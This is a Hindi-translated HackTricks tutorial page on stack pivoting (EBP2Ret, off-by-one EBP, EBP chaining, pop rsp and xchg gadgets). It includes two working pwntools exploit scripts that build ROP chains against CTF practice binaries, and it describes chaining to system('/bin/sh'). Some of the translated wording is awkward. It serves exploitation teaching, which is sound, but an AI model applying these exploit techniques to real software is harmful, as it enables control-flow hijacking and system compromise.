15 KiB
स्टैक पाइवोटिंग - EBP2Ret - EBP चेनिंग
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो करें।
- हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
मूल जानकारी
यह तकनीक बेस पॉइंटर (EBP) को मानिबंधन करने की क्षमता का शोषण करती है ताकि EBP रजिस्टर और leave; ret
निर्देशिका क्रम का सावधान उपयोग करके कई फ़ंक्शनों के क्रमबद्ध निष्पादन को चेन किया जा सके।
एक अनुस्मारक के रूप में, leave
मुख्य रूप से यह मतलब रखता है:
movl %ebp, %esp
popl %ebp
ret
और जैसे EBP स्टैक में है EIP से पहले, इसे नियंत्रित करना संभव है स्टैक को नियंत्रित करके।
EBP2Ret
यह तकनीक विशेष रूप से उपयोगी है जब आप EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे तरीके से बदलने का कोई सीधा तरीका नहीं है। यह तकनीक फ़ंक्शन के व्यवहार का लाभ उठाती है जब वे कार्यान्वित होने के बाद।
यदि fvuln
के कार्यान्वयन के दौरान आप स्टैक में एक फेक EBP डालने में सफल होते हैं जो आपके शेलकोड के पते के स्थान की ओर पोइंट करता है (पॉप कार्रवाई को लेने के लिए 4 बाइट को ध्यान में रखते हुए), तो आप EIP को अप्रत्यक्ष रूप से नियंत्रित कर सकते हैं। जब fvuln
वापस लौटता है, तो ESP इस तैयार किए गए स्थान पर सेट किया जाता है, और आगामी pop
कार्रवाई ESP को 4 से कम कर देती है, इसे वास्तव में उस स्थान पर पोइंट करने के लिए बनाने वाले अटैकर द्वारा रखा गया है।
ध्यान दें कि आपको 2 पते पता होना चाहिए: जहां ESP जाएगा, जहां आपको ESP द्वारा पोइंट किए गए पते को लिखना होगा।
शोषण निर्माण
सबसे पहले, आपको एक पता पता होना चाहिए जहां आप विचारात्मक डेटा / पते लिख सकते हैं। ESP यहाँ पोइंट करेगा और पहला ret
चलाएगा।
फिर, आपको ret
द्वारा विचारात्मक कोड चलाने वाला पता पता होना चाहिए। आप इस्तेमाल कर सकते हैं:
- एक मान्य ONE_GADGET पता।
system()
का पता सहित 4 जंक बाइट और"/bin/sh"
का पता (x86 बिट्स)।jump esp;
गैजेट का पता (ret2esp) जिसके बाद शेलकोड को चलाने के लिए।- कुछ ROP श्रृंखला
ध्यान दें कि नियंत्रित हिस्से के किसी भी पते से पहले, leave
निर्देश के pop
भाग के कारण 4
बाइट होने चाहिए। इन 4B का दुरुपयोग करना संभव होगा एक दूसरा नकली EBP सेट करने और कार्रवाई को नियंत्रित करना जारी रखने के लिए।
ऑफ-बाई-वन शोषण
इस तकनीक का एक विशेष वेरिएंट है जिसे "ऑफ-बाई-वन शोषण" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप केवल EBP के कम significant बाइट को संशोधित कर सकते हैं। इस प्रकार, ret
के साथ जाने के लिए पता रखने वाले मेमोरी स्थान को EBP के पहले तीन बाइट साझा करना चाहिए, जिससे अधिक संकुचित स्थितियों के साथ एक समान नियंत्रण के लिए संभावना हो।
EBP शेनिंग
इसलिए, स्टैक के EBP
प्रविष्टि में एक नियंत्रित पता डालकर और EIP
में leave; ret
के लिए पता डालकर, यह संभव है कि ESP
को स्टैक से नियंत्रित EBP
पते पर ले जाया जा सके।
अब, ESP
नियंत्रित है जो एक इच्छित पते पर पोइंट कर रहा है और अगला कार्रवाई RET
है। इसे दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह डालना संभव है:
&(अगला नकली EBP)
->leave
निर्देश सेpop ebp
के कारण नया EBP लोड करेंsystem()
->ret
द्वारा कॉल किया जाएगा&(leave;ret)
-> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को नकली EBP पर ले जाएगा और फिर से शुरू होगा&("/bin/sh")
->system
के लिए पैरामीटर
मूल रूप से इस तरह से कार्रवाई करने के लिए कई नकली EBPs को चेन करना संभव है कार्यक्रम के फ्लो को नियंत्रित करने के लिए।
सच कहूं, यह ret2lib की तरह है, लेकिन कोई प्रत्यक्ष लाभ नहीं है लेकिन कुछ एज-केस में दिलचस्प हो सकता है।
इसके अतिरिक्त, यहाँ आपको एक चुनौती का उदाहरण मिलता है जो इस तकनीक का उपयोग करता है एक स्टैक लीक को जीतने वाले फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP अनर्थक है
जैसा कि इस पोस्ट में स्पष्ट किया गया है, अगर कोई बाइनरी कुछ अनुकूलन के साथ कंपाइल किया गया है, तो EBP कभी ESP को नियंत्रित नहीं करता, इसलिए, EBP को नियंत्रित करके काम करने वाला कोई भी उत्पीड़न विफल हो जाएगा क्योंकि इसका कोई वास्तविक प्रभाव नहीं होता।
यह इसलिए है क्योंकि यदि बाइनरी को अनुकूलित किया गया है तो प्रोलॉग और एपिलॉग परिवर्तित हो जाते हैं।
- अनुकूलित नहीं:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- अनुकूलित:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
RSP को नियंत्रित करने के अन्य तरीके
pop rsp
गैजेट
इस पेज में आप इस तकनीक का उपयोग करके एक उदाहरण पा सकते हैं। इस चैलेंज के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करने की आवश्यकता थी, और वहां एक pop rsp
गैजेट था और स्टैक से एक लीक था:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <रैग>, rsp गैजेट
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
संदर्भ
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सदस्यता योजनाएं देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github रेपो में।